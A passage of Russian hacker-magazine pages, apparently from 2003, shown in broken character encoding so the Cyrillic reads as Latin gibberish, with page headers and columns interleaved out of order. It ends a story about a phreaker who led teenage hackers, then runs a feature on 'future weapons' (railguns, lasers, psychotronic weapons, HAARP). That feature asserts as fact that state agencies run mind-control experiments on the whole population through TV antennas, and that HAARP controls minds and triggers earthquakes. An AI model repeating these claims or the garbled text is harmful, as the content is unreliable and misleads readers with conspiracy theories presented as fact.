âòîðæåíèå è êðàæó êîíôèäåíöèàëüíîé èíôîðìàöèè - îíè<br />

òóò æå îáðàòèëèñü â ÔÁÐ. Íåñìîòðÿ íà òî, ÷òî âçëîìùèêè<br />

ñòàðàëèñü êàê ìîæíî ëó÷øå çàìåñòè ñëåäû, ïîëíîñòüþ èçáàâèòüñÿ<br />

îò íèõ íå óäàëîñü. Ñïóñòÿ íåäåëþ íåïðåðûâíîãî<br />

ðàññëåäîâàíèÿ, ôåäåðàëû íàøëè-òàêè çëîóìûøëåííèêîâ,<br />

êîòîðûìè îêàçàëèñü òèíåéäæåðû èç Áîñòîíà, Îãàéî,<br />

Äæîðäæèè, Ìè÷èãàíà è Ëîñ-Àíäæåëåñà, áîëüøèíñòâó èç<br />

êîòîðûõ áûëî ïî 14 ëåò. Ïîñëå äîïðîñà â ïðèñóòñòâèè ðîäèòåëåé<br />

ñòàëî ÿñíî, ÷òî ñàìè ðåáÿòà òàêîé ïëàí ðàçðàáîòàòü<br />

íå ìîãëè, êòî-òî äîëæåí áûë êîîðäèíèðîâàòü èõ ðàáîòó.<br />

Î ïðè÷àñòíîñòè Ëèíí Äóöåò - 35-ëåòíåé æèòåëüíèöû<br />

×èêàãî, áåçðàáîòíîé ìàòåðè äâîèõ äåòåé, àãåíòû óçíàëè îò<br />

íàïóãàííîãî è ïðèçíàâøåãîñÿ âî âñåì ìàëîëåòíåãî õàêåðà<br />

Bitmaster'à. Kyrie (îò ãðå÷åñêîãî - "Ëîðä"), êàê îíà ñåáÿ íàçûâàëà,<br />

óæå äàâíî çàíèìàëàñü ðàçíîãî ðîäà àôåðàìè ÷åðåç<br />

êîìïüþòåðíûå è òåëåôîííûå ñåòè, óñïåëà îòñèäåòü<br />

ñðîê â Êàíàäå çà ìàõèíàöèè ñ ñèñòåìîé ãîëîñîâîé ïî÷òû è<br />

òåïåðü êîîðäèíèðîâàëà ðàáîòó áîëåå äâóõñîò õàêåðîâ. Èíôîðìàöèÿ,<br />

êîòîðóþ äëÿ íåå äîñòàâàëè ìîëîäûå âóíäåðêèíäû,<br />

ïðîäàâàëàñü íà ñòîðîíó, à ñ÷åòà ñ ïîìîùüþ ïîäñòàâíûõ<br />

ëèö ïðåîáðàçîâûâàëèñü â íàëè÷êó èëè òîâàðû. Ñûíîâüÿ<br />

Ëèíí, êîòîðûå è äíÿ â øêîëå íå ïðîáûëè, ïîìîãàëè<br />

ìàìóëå âîðîâàòü èíôó, âçëàìûâàÿ çàùèòó ñåðâåðîâ. Íåñêîëüêî<br />

ëåò Kyrie âåëà êî÷åâîé îáðàç æèçíè, ïåðåëåòàÿ ñ<br />

ìåñòà íà ìåñòî è íå èìåÿ ïîñòîÿííîãî äîìà.<br />

Íàéòè åå áûëî áû íåïðîñòî, åñëè áû íå Ãåéë Òàêåðåé<br />

- áûâøèé ôðèêåð è ñòàðûé çíàêîìûé Ëèíí, êîòîðîìó<br />

îíà îäíàæäû ïîçâîíèëà, ÷òîáû ïîõâàñòàòüñÿ<br />

ñâîèìè äîñòèæåíèÿìè. Íàñëûøàííûé ïðî ìèëëèîííûå<br />

ïîòåðè, êîòîðûå êîìïàíèè íåñëè èç-çà Kyrie,<br />

Ãåéë ðåøèë ïîëîæèòü êîíåö åå äåÿòåëüíîñòè è ñîîáùèë<br />

ñïåöñëóæáàì íîìåð, îñòàâëåííûé õàêåðøåé.<br />

Áóêâàëüíî íà ñëåäóþùèé äåíü åå àðåñòîâàëè. Â àâãóñòå<br />

1990 ãîäà ñóä ïðèãîâîðèë Ëèíí Äóöåò â 27 ìåñÿöàì<br />

òþðåìíîãî çàêëþ÷åíèÿ. Íåêîòîðûå ñàìûå âåðíûå<br />

ôðèêåðû ïåðèîäè÷åñêè íàâåùàëè ñâîþ àâòîðèòåòíóþ<br />

íàñòîÿòåëüíèöó â ìåñòàõ íå ñòîëü îòäàëåííûõ,<br />

íî ñ óõîäîì Ëèíí åå áàíäà, ñêîëà÷èâàåìàÿ<br />

ãîäàìè, äàëà òðåùèíó, à ñïóñòÿ ïàðó<br />

ìåñÿöåâ ðàçâàëèëàñü îêîí÷àòåëüíî.<br />

Æàðêî Îéêàðèíåí - ñîçäàòåëü IRC (1988) –<br />

ñàìîãî õàêåðñêîãî ÷àòà :)<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 43


×ÓÌÀ XXI ÂÅÊÀ<br />

Implant<br />

Ïàâåë Êîòîâ, Àíäðåé Àáðàìîâ<br />

http://mag.cyberpunk.ru<br />

×óìà<br />

XXI âåêà<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

×åëîâåê - åäèíñòâåííîå<br />

æèâîå ñóùåñòâî íà Çåìëå,<br />

óáèâàþùåå ñåáå ïîäîáíûõ<br />

áåç âñÿêîé íåîáõîäèìîñòè,<br />

äà åùå è ïîëó÷àþùåå îò<br />

ýòîãî îïðåäåëåííîå óäîâîëüñòâèå.<br />

Îí èçîáðåòàåò<br />

âñå íîâûå è íîâûå ñïîñîáû,<br />

íîâûå âèäû îðóæèÿ.<br />

Âñå âèäû âîîðóæåíèé, êîòîðûå<br />

ìû çäåñü ðàññìîòðèì<br />

– ðåàëüíû è ñóùåñòâóþò,<br />

à íåêîòîðûå óæå âîâñþ<br />

èñïîëüçóþòñÿ âîåííûìè.<br />

Ýòî íå îòðûâêè èç ôàíòàñòè÷åñêèõ<br />

ðîìàíîâ è íå<br />

áîëüíàÿ ôàíòàçèÿ àâòîðîâ.<br />

Ýòî æåñòîêàÿ ðåàëüíîñòü.<br />

Îðóæèå áóäóùåãî<br />

Railgun & Coilgun<br />

Íàçâàíèå ïðîèñõîäèò îò ñëîâà «rail», (àíãë. «ðåëüñà»). Äåëî<br />

â òîì, ÷òî îñíîâíîé ïðèíöèï ðàáîòû ðåéëãàíà – ðàçãîí<br />

ñíàðÿäà ìàãíèòíûì ïîëåì. Òîê îò èñòî÷íèêà ïîäàåòñÿ<br />

íà ïåðâóþ ðåëüñó, à ñ íåãî íà àðìàòóðó, äàëåå íà âòîðóþ<br />

ðåëüñó è îáðàòíî â èñòî÷íèê.  èòîãå â äâóõ ðåëüñàõ-ïðîâîäíèêàõ<br />

âîçíèêàåò ìàãíèòíîå ïîëå, êîòîðîå ïîðîæäàåò<br />

ñèëó Ëîðåíñà, ñ ïîìîùüþ êîòîðîé ñíàðÿä â èòîãå<br />

ðàçãîíÿåòñÿ äî áåøåíûõ ñêîðîñòåé. Òåõíè÷åñêè âñå<br />

ïðîèñõîäèò äîâîëüíî ïðîñòî: íà ðåëüñû â î÷åíü êîðîòêèé<br />

ïðîìåæóòîê âðåìåíè ïîñòóïàåò êîëîññàëüíûé çàðÿä,<br />

à äàëüøå âñå èäåò òàê, êàê îïèñàíî âûøå. Èñïîëüçîâàòü<br />

ýòîò âèä îðóæèÿ ìåøàþò äâà íåìàëîâàæíûõ ôàêòîðà.<br />

Ïåðâûé – ýíåðãîïîòðåáëåíèå. Äëÿ ïèòàíèÿ ðåéëãàíà<br />

ñðåäíèõ ðàçìåðîâ åëå-åëå áóäåò õâàòàòü öåëîé ýëåêòðîñòàíöèè.<br />

Íó, à âòîðîé, ðåøàþùèé ôàêòîð – ýòî èçíîñ.<br />

Ñòâîë ðåàëüíîãî èñïûòóåìîãî ðåéëãàíà ïðèõîäèë â íåãîäíîñòü<br />

ïîñëå äâóõ âûñòðåëîâ èç-çà ñîïðèêîñíîâåíèÿ<br />

àðìàòóðû ñ ïðîâîäíèêàìè íà ñâåðõâûñîêîé ñêîðîñòè.<br />

Ó êîéëãàíà æå çàïàñ ïðî÷íîñòè âûøå, íî âåëè÷èíà èçíîñîñòîéêîñòè<br />

áóäåò ðàñòè òîëüêî ñ óìåíüøåíèåì ñêîðîñòè<br />

ñíàðÿäà. Ïî ñóòè, êîéëãàí óñòðîåí ãîðàçäî ïðîùå ðåéëãàíà.<br />

Îí ïðåäñòàâëÿåò ñîáîé íå÷òî âðîäå êàòóøêè ìåäíîé<br />

ïðîâîëîêè ñ âûíóòûì ñåðäå÷íèêîì. Òåì íå ìåíåå,<br />

êîéëãàí òîæå íåëüçÿ íàçâàòü èäåàëüíûì ñòâîëîì, õîòÿ ïî<br />

ðàçìåðàì îí ãîðàçäî ìåíüøå ðåéëãàíà.<br />

Âî-ïåðâûõ, íåñìîòðÿ íà îãðîìíóþ ðàçíèöó â ýíåðãîïîòðåáëåíèè,<br />

îí íå îáåñïå÷èâàåò äîëæíîãî, â âîåííîì<br />

ñìûñëå ýòîãî ñëîâà, ðàçãîíà ñíàðÿäà. Âî-âòîðûõ, äëÿ îäíîãî<br />

âûñòðåëà åìó ïîòðåáóåòñÿ øåñòü 9-âîëüòîâûõ áàòàðååê,<br />

à åãî ñêîðîñòðåëüíîñòü ïîêà ÷òî íå ïðåâûøàåò 12<br />

âûñòðåëîâ â ÷àñ. Òàêàÿ ìàëåíüêàÿ ñêîðîñòü âûçâàíà ïàóçàìè<br />

ìåæäó âûñòðåëàìè, êîòîðûå íåîáõîäèìû äëÿ ïåðåçàðÿäêè<br />

êîíäåíñàòîðîâ. Çàòî ìîùü...<br />

Ïëàçìåííîå îðóæèå<br />

Ïëàçìà – ÷åòâåðòîå ñîñòîÿíèå âåùåñòâà, èäóùåå<br />

âñëåä çà ãàçîîáðàçíûì. Îíà ïðåäñòàâëÿåò ñîáîé èîíèçèðîâàííûé<br />

ãàç, â êîòîðîì ýëåêòðîñòàòè÷åñêîå âçàèìîäåéñòâèå<br />

ìåæäó ÷àñòèöàìè íàñòîëüêî áîëüøîå,<br />

÷òî ñàìîïðîèçâîëüíîå ðàçäåëåíèå çàðÿäîâ ïðîèñõîäèò<br />

ëèøü â î÷åíü ìàëûõ, ïî ñðàâíåíèþ ñ ðàçìåðàìè<br />

ãàçîâîãî îáëàêà, îáëàñòÿõ ïðîñòðàíñòâà.<br />

Ñðåäíÿÿ òåìïåðàòóðà ïëàçìû – îêîëî 10 ìëí. ãðàäóñîâ ïî<br />

Öåëüñèþ, õîòÿ ñ ïîìîùüþ óñòàíîâêè ÒÎÊÀÌÀÊ ó÷åíûå<br />

ñìîãëè äîáèòüñÿ ïîâûøåíèÿ òåìïåðàòóðû äî 200 ìëí.<br />

ãðàäóñîâ. Ñîáñòâåííî, óñòàíîâêà ÒÎÊÀÌÀÊ (ÒÎðîèäàëüíàÿ<br />

ÊÀìåðà ñ ÌÀãíèòíîé Êàòóøêîé) – åäèíñòâåííîå óñòðîéñòâî,<br />

â êîòîðîì óäàëîñü ïîëó÷èòü ñòàáèëüíóþ ïëàçìó â òå÷åíèå<br />

äëèòåëüíîãî ïåðèîäà âðåìåíè (îêîëî ñåêóíäû). Íèêàêèå<br />

äðóãèå âàðèàíòû ïîêà íåâîçìîæíû, â òîì ÷èñëå è ðó÷íîå<br />

ïëàçìåííîå îðóæèå. Äåëî â òîì, ÷òî ïëàçìà ïî ñâîåé<br />

ïðèðîäå ÷ðåçâû÷àéíî íåóñòîé÷èâà è ñòðåìèòñÿ ê ïîñòîÿííîìó<br />

ðàñøèðåíèþ, óäåðæèâàòü îò êîòîðîãî åå ìîæíî<br />

òîëüêî ñ ïîìîùüþ ìàãíèòíîãî ïîëÿ áîëüøîé ìîùíîñòè. À<br />

ìèêðîâàðèàíò ÒÎÊÀÌÀÊ íåâîçìîæåí, ïîòîìó ÷òî äëÿ ïèòàíèÿ<br />

ìàãíèòíûõ êàòóøåê – «ëîâóøåê» äëÿ ïëàçìû òðåáóåòñÿ<br />

ýíåðãèÿ öåëîé ÃÝÑ. Íî äàæå åñëè ðåøèòñÿ âîïðîñ ñ ïèòàíèåì,<br />

îñòàíåòñÿ åùå îäíà ïðîáëåìà: ïîñëå âûõîäà èç<br />

ïëàçìîîáðàçîâàòåëÿ ïëàçìåííîå îáëàêî ïîëåòèò íå â<br />

ñòâîë – îíî åãî ðàñïëàâèò è ðàññååòñÿ â ïðîñòðàíñòâå.<br />

Ëàçåðíîå îðóæèå<br />

Ëàçåð äåéñòâóåò êàê ìîùíûé èíòåíñèâíûé ñâåòîâîé ëó÷,<br />

ñêîíöåíòðèðîâàííûé òàêèì îáðàçîì, ÷òî íå îñëàáëÿåò íà-<br />

44 Íüþñû 1 Ôåððóì 2 Inside 3 Implant 4 Âçëîì


× Ó Ì À<br />

XXI<br />

Ïîä ïóëüñîâûì îðóæèåì ïîäðàçóìåâàåòñÿ îðóæèå, ïîðàæàþùåå<br />

ýëåêòðîííûì èìïóëüñîì, ïðîùå ãîâîðÿ –<br />

ìîëíèåé. Íàñòîÿùóþ ìîëíèþ ïîêà ÷òî ñîçäàòü íåâîçìîæíî,<br />

òàê êàê åå ìîùíîñòü êóäà âûøå ìîùíîñòè âûõîäíîãî<br />

òîêà ÀÝÑ, íî çàòî ñîçäàòü íå÷òî ïîõîæåå è<br />

ìåíüøåé ìîùíîñòè ðåàëüíî áûëî äàæå â ïðîøëîì âåêå,<br />

÷òî, ñîáñòâåííî, è áûëî ñäåëàíî.<br />

 êîíöå äâàäöàòûõ ãîäîâ Ãðèíäåëë Ìåòòüþç óäèâèë ñâîèìè<br />

îïûòàìè âîåííûå âåäîìñòâà ìíîãèõ ñòðàí. Â îñíîâå óñòàíîâêè<br />

Ìåòòüþçà áûë ñèëüíûé èñòî÷íèê óëüòðàôèîëåòîâûõ<br />

ëó÷åé, çàêðûòûé ïðîçðà÷íûì, íî íåïðîíèöàåìûì äëÿ<br />

îáû÷íûõ ñâåòîâûõ ëó÷åé ôèëüòðîì. Óëüòðàôèîëåòîâûå ëó÷è<br />

èîíèçèðóþò âîçäóõ, äåëàÿ åãî ñïîñîáíûì ïðîâîäèòü ýëåêòðè÷åñêèé<br />

òîê. Ýòî è áûëî ãëàâíûì â êîíñòðóêöèè ïóëüñîâîé<br />

óñòàíîâêè: áåç ñèëüíîèîíèçèðîâàííîãî êàíàëà ê öåëè èìïóëüñ<br />

ïîðàçèë áû îïåðàòîðà, ò.ê. òîò íàõîäèëñÿ áëèæå âñåãî<br />

ê òî÷êå îáðàçîâàíèÿ. Ñòîëá âîçäóõà, ïðîâîäÿùåãî òîê,<br />

èãðàë ðîëü ïðîâîäíèêà, ïî êîòîðîìó ìîæíî ïîäàâàòü ýëåêòðè÷åñòâî<br />

â íóæíîå ìåñòî. Íàïðÿæåíèåì â íåñêîëüêî òûñÿ÷<br />

âîëüò îí ïðîáèâàë ìåòðîâûå ñëîè èîíèçèðîâàííîãî âîçäóõà,<br />

ñîçäàâàÿ â íèõ èñêðû, ïîõîæèå íà òðîïè÷åñêóþ ìîëíèþ.<br />

Îíè äåëàëè ñâîå äåëî: çàæèãàëè ïîðîõ, âûâîäèëè èç ñòðîÿ<br />

îáìîòêó ýëåêòðîìîòîðà, ìàãíåòî áåíçèíîâîãî äâèãàòåëÿ. Âî<br />

âðåìÿ îäíîé èç òàêèõ äåìîíñòðàöèé áûë äàæå óáèò êðîëèê.<br />

Ñõîäíûé ýôôåêò ìîæíî áûëî áû ïîëó÷èòü è ïðè ïîìîùè<br />

ïðîñòîãî ýëåêòðè÷åñêîãî ðàçðÿäà, íî äëÿ ïðîáèâàíèÿ êàæäîãî<br />

ìåòðà îáû÷íîãî âîçäóõà òðåáóåòñÿ áîëüøåå íàïðÿæåíèå.<br />

Ìåòòüþç ñóìåë óìåíüøèòü íàïðÿæåíèå ïðîáîÿ âî ìíîãî<br />

ðàç – äî òåõíè÷åñêè ïðèåìëåìîé âåëè÷èíû. Îí æå íàó÷èëñÿ<br />

íàïðàâëÿòü ðàçðÿä ìîëíèè òî÷íî â öåëü, ðåøèâ òàêèì<br />

îáðàçîì ñåðüåçíóþ çàäà÷ó ïåðåäà÷è ýëåêòðîýíåðãèè<br />

ïî âîçäóõó. Íî îòñóòñòâèå èñòî÷íèêîâ óëüòðàôèîëåòîâûõ<br />

ëó÷åé äîñòàòî÷íîé ìîùíîñòè îãðàíè÷èëî ïðèìåíåíèå<br />

åãî àïïàðàòà íà áîëüøèå ðàññòîÿíèÿ, à çíà÷èò,<br />

è ïðèìåíåíèå åãî â âîåííûõ öåëÿõ. Òåïåðü æå ñîâåêà<br />

Ïðè îïðåäåëåííîé ÷àñòîòå è ìîùíîñòè ÑÂ×-èçëó÷åíèÿ<br />

íàðóøàþò ðàáîòó öåíòðàëüíîé íåðâíîé ñèñòåìû.<br />

Ïîïàäàÿ â ðàäèóñ åãî äåéñòâèÿ, ÷åëîâåê ñíà÷àëà<br />

ñëûøèò øóì, êîòîðûé ïåðåðàñòàåò â ñâèñò, è ïîðàæàåò<br />

âíóòðåííèå îðãàíû.<br />

ïîðà è íå îòêëîíÿåòñÿ îò ñâîåé òðàåêòîðèè. Ýíåðãèÿ âûäåëÿåòñÿ<br />

áëàãîäàðÿ êîíòðîëèðóåìîé õèìè÷åñêîé ðåàêöèè.<br />

Ïîòåíöèàëüíî ëàçåð ïðåäñòàâëÿåò ñîáîé ìîùíîå îðóæèå,<br />

åãî ëó÷ ðàññåêàåò ïðîñòðàíñòâî áóêâàëüíî ñî ñêîðîñòüþ<br />

ñâåòà è ìîæåò ïðåîäîëåâàòü îãðîìíóþ äèñòàíöèþ ñ ìèíèìàëüíîé<br />

ïîòåðåé èíòåíñèâíîñòè. Ðàäèóñ äåéñòâèÿ ëàçåðà<br />

ìîæåò ñîñòàâëÿòü äåñÿòêè è äàæå òûñÿ÷è êèëîìåòðîâ.<br />

Òàê, íàïðèìåð, íîâûé ëàçåð àìåðèêàíñêîãî ïðîèçâîäñòâà<br />

ñïîñîáåí ïîðàæàòü ëþáîé àðòèëëåðèéñêèé ñíàðÿä â ïîëåòå,<br />

÷òî è áûëî äîêàçàíî â õîäå ïðîâåäåííûõ àìåðèêàíñêèìè<br />

âîåííûìè èñïûòàíèé. Ìîáèëüíûé òàêòè÷åñêèé ëàçåð<br />

áûë íàâåäåí íà áûñòðî äâèæóùèéñÿ ñíàðÿä è ïîðàçèë åãî<br />

ïó÷êîì êîíöåíòðèðîâàííûõ ôîòîíîâ. Äâà ãîäà íàçàä ýòîò<br />

âèä îðóæèÿ óñïåøíî ñáèë ðàêåòíûé ñíàðÿä, âûïóùåííûé<br />

èç "Êàòþøè", à íåäàâíî ïðîâåäåííûå èñïûòàíèÿ äîêàçàëè,<br />

÷òî ëàçåð ñïîñîáåí ïîðàçèòü è ìåíüøóþ ïî ðàçìåðàì<br />

öåëü, ïåðåäâèãàþùóþñÿ ñ åùå áîëüøåé ñêîðîñòüþ.<br />

Ïñèõîòðîííîå îðóæèå<br />

Îñîáåííîñòü ïñèõîòðîííîãî âîçäåéñòâèÿ ñîñòîèò â òîì, ÷òî<br />

ñîçíàíèå ÷åëîâåêà íå òîëüêî ïîìóòíÿåòñÿ, íî è ñòàíîâèòñÿ<br />

óïðàâëÿåìûì. Òî åñòü ìàëî òîãî, ÷òî îáúåêò âûâîäèòñÿ èç<br />

ñîñòîÿíèÿ ïñèõè÷åñêîãî ðàâíîâåñèÿ, ìîæíî çàñòàâèòü åãî<br />

ñîâåðøèòü ëþáûå äåéñòâèÿ, âïëîòü äî óáèéñòâà. Ïðèíöèï<br />

ðàáîòû ýòîãî âèäà îðóæèÿ ïðîñò: åñòü äâà ñïîñîáà. Ïåðâûé<br />

– ãèïíîç, îñóùåñòâëÿåìûé æèâûìè ãèïíîòèçåðàìè, ò.å. òàêèìè<br />

æå ëþäüìè, êàê òû ñàì. È âòîðîé ñïîñîá – òåõíîëîãè-<br />

÷åñêèé. Ñóùåñòâóþò îïðåäåëåííûå ÷àñòîòû âîëí, êîòîðûå<br />

âîçäåéñòâóþò íà ïñèõèêó ÷åëîâåêà îïðåäåëåííûì îáðàçîì.<br />

Åùå â 60-å ãîäû àìåðèêàíöû äîáèëèñü âåñüìà îùóòèìûõ<br />

ðåçóëüòàòîâ: îíè ñîçäàëè ÷àñòîòû, êîòîðûå äåéñòâîâàëè<br />

òîëüêî íà î÷àãè ñîçíàíèÿ, ðåãóëèðóþùèå ïðîñòåéøèå äåéñòâèÿ,<br />

íàïðèìåð: ñïàòü, åñòü, óáèâàòü èëè çàíèìàòüñÿ ñåêñîì.<br />

Íî ïðîøëî âðåìÿ, è ñåãîäíÿøíèå âîçìîæíîñòè ïîçâîëÿþò<br />

îïåðèðîâàòü ÷åëîâå÷åñêîé ïñèõèêîé è ÷åëîâå÷åñêèìè<br />

ïîñòóïêàìè â ãîðàçäî áîëåå øèðîêîì äèàïàçîíå. Óæå ñîçäàíû<br />

ïðèáîðû, êîòîðûå ñîçäàþò âîëíû íà ÷àñòîòàõ, ïîçâîëÿþùèõ<br />

âàðüèðîâàòü áîëåå ñëîæíûå ïñèõè÷åñêèå ðåàêöèè.<br />

Ïðè ýòîì íàäî ó÷èòûâàòü, ÷òî òàêèå ïðèáîðû ñïîñîáíû<br />

äåéñòâîâàòü íà î÷åíü áîëüøîì ðàññòîÿíèè, òî åñòü îáëó÷àòåëü<br />

ìîæåò íàõîäèòüñÿ â ïîëóêèëîìåòðå îò òåáÿ, îí ìîæåò<br />

ïðîáèâàòü áåòîííûå çàãðàæäåíèÿ è ò.ä. Èíà÷å ãîâîðÿ, îò<br />

íåãî íå ñêðûòüñÿ äàæå â áóíêåðå.<br />

Ýòîò âèä îðóæèÿ óæå íåñêîëüêî ëåò - ðåàëüíîñòü. Ýêñïåðèìåíòû<br />

ïðîâîäèëèñü åùå â ÊÃÁ íà íè÷åãî íå ïîäîçðåâàþùèõ<br />

îäèíîêèõ ñòàðè÷êàõ. Ñåãîäíÿ æå òâîðèòñÿ ïîëíûé áåñïðåäåë.<br />

ÔÑÁ íàñòîëüêî çàãîðåëàñü ðàçðàáîòêîé òàêîãî ïåðñïåêòèâíîãî<br />

âèäà îðóæèÿ, ÷òî ýêñïåðèìåíòû ïðîâîäÿòñÿ<br />

ïðàêòè÷åñêè íà âñåõ ëþäÿõ.  òîì ÷èñëå è íà òåáå, âåäü îò<br />

ýòîãî íèêòî íå çàñòðàõîâàí. Èçëó÷àòåëü òàêèõ âîëí ìîæåò<br />

âûãëÿäåòü êàê îáû÷íàÿ ÒÂ-àíòåííà, êîòîðàÿ óñòàíîâëåíà íà<br />

êðûøå êàæäîãî äîìà. Â ðåçóëüòàòå ñ ïîìîùüþ òàêîé «àíòåííû»<br />

ìîæåò äåðæàòüñÿ ïîä êîíòðîëåì âåñü òâîé ðàéîí.<br />

Ïóëüñîâîå îðóæèå<br />

Ýëåêòðîìàãíèòíîå èçëó÷åíèå íèçêîé ÷àñòîòû âëèÿåò<br />

íà ÷åëîâå÷åñêèé ìîçã. Ñ åãî ïîìîùüþ äàæå íà çíà-<br />

÷èòåëüíîì ðàññòîÿíèè ìîæíî âûçûâàòü ó ÷åëîâåêà<br />

ïðèñòóï òîøíîòû, îùóùåíèå, ÷òî ó íåãî ææåò ëèöî<br />

èëè ðóêè, à òàêæå âîçäåéñòâîâàòü íà åãî ñîí.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8


ÕÀÊÅÐ\¹53\Ìàé\2003<br />

Implant<br />

×ÓÌÀ XXI ÂÅÊÀ<br />

Ïàâåë Êîòîâ, Àíäðåé Àáðàìîâ<br />

http://mag.cyberpunk.ru<br />

âðåìåííûé òåõíè÷åñêèé óðîâåíü ïîçâîëÿåò âíîâü âåðíóòüñÿ<br />

ê ïðèíöèïàì óñòàíîâêè Ìýòòüþçà íà íîâîì óðîâíå, íàïðèìåð,<br />

èñïîëüçóÿ ëàçåðû èëè ÑÂ×-èçëó÷åíèå.<br />

HAARP<br />

Ïðåäñòàâü ñåáå, ÷òî ìîæíî ñäåëàòü òàê, ÷òî ñàìûå âàæíûå<br />

çàâîäû èëè âîåííûå áàçû âðàãà âäðóã ðàçðóøàþòñÿ<br />

íåîæèäàííûìè çåìëåòðÿñåíèÿìè. Ïðåäñòàâü, ÷òî òû<br />

ìîæåøü íàñëàòü çàñóõó íà åãî ïîëÿ è ñìåðòåëüíûå áîëåçíè<br />

íà åãî ãîðîäà. Ïðåäñòàâü, êàê âðàæåñêàÿ ñòðàíà<br />

âäðóã íà÷èíàåò ñîòðÿñàòüñÿ îò àâàðèé â ÿäåðíûõ ðåàêòîðàõ<br />

èëè îò âçðûâîâ íà çàâîäàõ. È íè÷åãî íåëüçÿ äîêàçàòü.<br />

Ìîæíî âñå ñâàëèòü íà ïðèðîäó. Òû ñêàæåøü, ÷òî<br />

òàêîå îðóæèå íåâîçìîæíî È îøèáåøüñÿ.<br />

Î÷åíü äàâíî ãåîôèçèêè îòìåòèëè, ÷òî èîíîñôåðà ïîäîáíà<br />

ãèãàíòñêîìó çåðêàëó, êîòîðîå îòðàæàåò ïðîöåññû<br />

â ãëóáîêèõ íåäðàõ ïëàíåòû. Äàâíî çàìå÷åíî, ÷òî çåìëåòðÿñåíèÿ<br />

âûçûâàþò âîçìóùåíèÿ â èîíîñôåðå, è ïîä÷àñ<br />

ñîäðîãàíèÿì íåäð ñîïóòñòâóþò ïðèçðà÷íûå îãíè â íåáåñàõ.<br />

Äàâíî èçâåñòíî è òî, ÷òî âîçìóùåíèÿ â èîíîñôåðå<br />

âëèÿþò íà ïîãîäíûå êàòàêëèçìû. Íåäàâíî âîåííûå ïîäòâåðäèëè,<br />

÷òî ïðè íåàêêóðàòíîì ðàçîãðåâå âåðõíåãî<br />

ñëîÿ àòìîñôåðû âïîëíå ìîãóò îáíàðóæèòüñÿ êàòàñòðîôè÷åñêèå<br />

ïîñëåäñòâèÿ ïëàíåòàðíîãî õàðàêòåðà.<br />

Îôèöèàëüíî HAARP - ýòî ïðîåêò èññëåäîâàíèÿ ñâå÷åíèÿ<br />

âûñîêîàòìîñôåðíûõ ñëîåâ. Îäíàêî äàííûé àïïàðàò<br />

èìååò ãîðàçäî áîëåå øèðîêèå âîçìîæíîñòè, ÷åì ïðîñòî<br />

íàãðåâ èîíîñôåðû. Äåëî â òîì, ÷òî ïðîåêò îñíîâàí íà<br />

èñïîëüçîâàíèè îãðîìíîé ýëåêòðîìàãíèòíîé ïóøêè, íàïðàâëåííîé<br />

íà âåðõíèå ñëîè àòìîñôåðû ñ âûñîêîé òî÷íîñòüþ.<br />

Èíà÷å ãîâîðÿ, ÕÀÀÐÏ - ýòî ýëåêòðîìàãíèòíîå<br />

îðóæèå îãðîìíîé ìîùíîñòè, ïåðåäàò÷èê, êîòîðûé ìîæíî<br />

ñðàâíèòü ñ êîëîññàëüíîé ìèêðîâîëíîâîé ïå÷üþ, ÷üå<br />

èçëó÷åíèå ìîæåò áûòü ñôîêóñèðîâàíî â ëþáîé òî÷êå<br />

çåìíîãî øàðà. HAARP - ýòî ñèñòåìà ýëåêòðîííîé òðàíñëÿöèè,<br />

êîòîðàÿ â íàñòîÿùåå âðåìÿ íàõîäèòñÿ â ðóêàõ<br />

àðìèè ÑØÀ. Ýòî âîåííûé ïðîåêò, à âîâñå íå ãðàæäàíñêèé,<br />

â ÷åì ïûòàþòñÿ íàñ óáåäèòü ïðåññ-ðåëèçû è âñÿ<br />

àìåðèêàíñêàÿ ïðåññà. Õîòÿ ó HAARP äåéñòâèòåëüíî åñòü<br />

ìíîãî âîçìîæíîñòåé, î ñàìîé ãëàâîé èç íèõ íèêòî è íèêîãäà<br />

íå óïîìèíàë - ýòî íåâåðîÿòíàÿ âîçìîæíîñòü êîíòðîëÿ<br />

íàä ñîçíàíèåì.<br />

Âûãëÿäèò îðóæèå òàê: íà òåððèòîðèè â 60 êâàäðàòíûõ êèëîìåòðîâ<br />

ðàçâåðíóòà ãðîìàäíàÿ ðåøåòêà àíòåííû, ôàêòè-<br />

÷åñêè – ñåòü èç òðåõñîò øåñòèäåñÿòè àíòåíí, êîòîðûå<br />

âìåñòå ñîñòàâëÿþò îãðîìíûé èçëó÷àòåëü ñâåðõâûñîêèõ ÷àñòîò.<br />

Îíè ïîñûëàþò ðàäèîâîëíû â ÷àñòîòå 2,8-10 Ìåãàãåðö<br />

è ìîùíîñòüþ â 1,7 ìëðä. Âàòò. Òóò åñòü ðàäàð íåêîãåðåíòíîãî<br />

èçëó÷åíèÿ ñ àíòåííîé äèàìåòðîì 20 ìåòðîâ,<br />

ëàçåðíûå ëîêàòîðû, ìàãíèòîìåòðû, êîìïüþòåðû äëÿ îáðàáîòêè<br />

ñèãíàëîâ è óïðàâëåíèÿ àíòåííûì ïîëåì. Ìîùíàÿ<br />

ãàçîâàÿ ýëåêòðîñòàíöèÿ è øåñòü äèçåëü-ãåíåðàòîðîâ ñíàáæàþò<br />

ýíåðãèåé ýòî ôàíòàñòè÷åñêîå ñîîðóæåíèå.<br />

Òåïåðü â ëþáîé ïðåäìåò ìîæíî âûïóñòèòü èîíèçèðóþùèé<br />

âîçäóõ ëó÷. Âîçäóõ íà ïóòè îò ëó÷à äî öåëè<br />

ïðåâðàùàåòñÿ â ïðîâîäÿùóþ ýëåêòðè÷åñòâî ïëàçìó,<br />

è æåðòâà íåìåäëåííî ïîëó÷àåò ñèëüíåéøèé óäàð òîêîì.<br />

Òàêîé âèä îðóæèÿ ïîÿâèòñÿ ó ïîëèöèè óæå ÷åðåç<br />

íåñêîëüêî ëåò. Ñåé÷àñ äëèíà ëó÷à äîñòèãàåò 2<br />

êèëîìåòðîâ, à ìîùíîñòü ïåðåäàâàåìîãî çàðÿäà ìîæåò<br />

áûòü äîâåäåíà äî ñìåðòåëüíîãî óðîâíÿ.<br />

Ãðàâèòàöèîííîå îðóæèå<br />

Âîçìîæíî, ó Ðîññèéñêîé àðìèè òîæå åñòü ðàçðàáîòêè,<br />

ïîäîáíûå àìåðèêàíñêîìó HAARP. Âåäü âñå ïîìíÿò ÿðêîå<br />

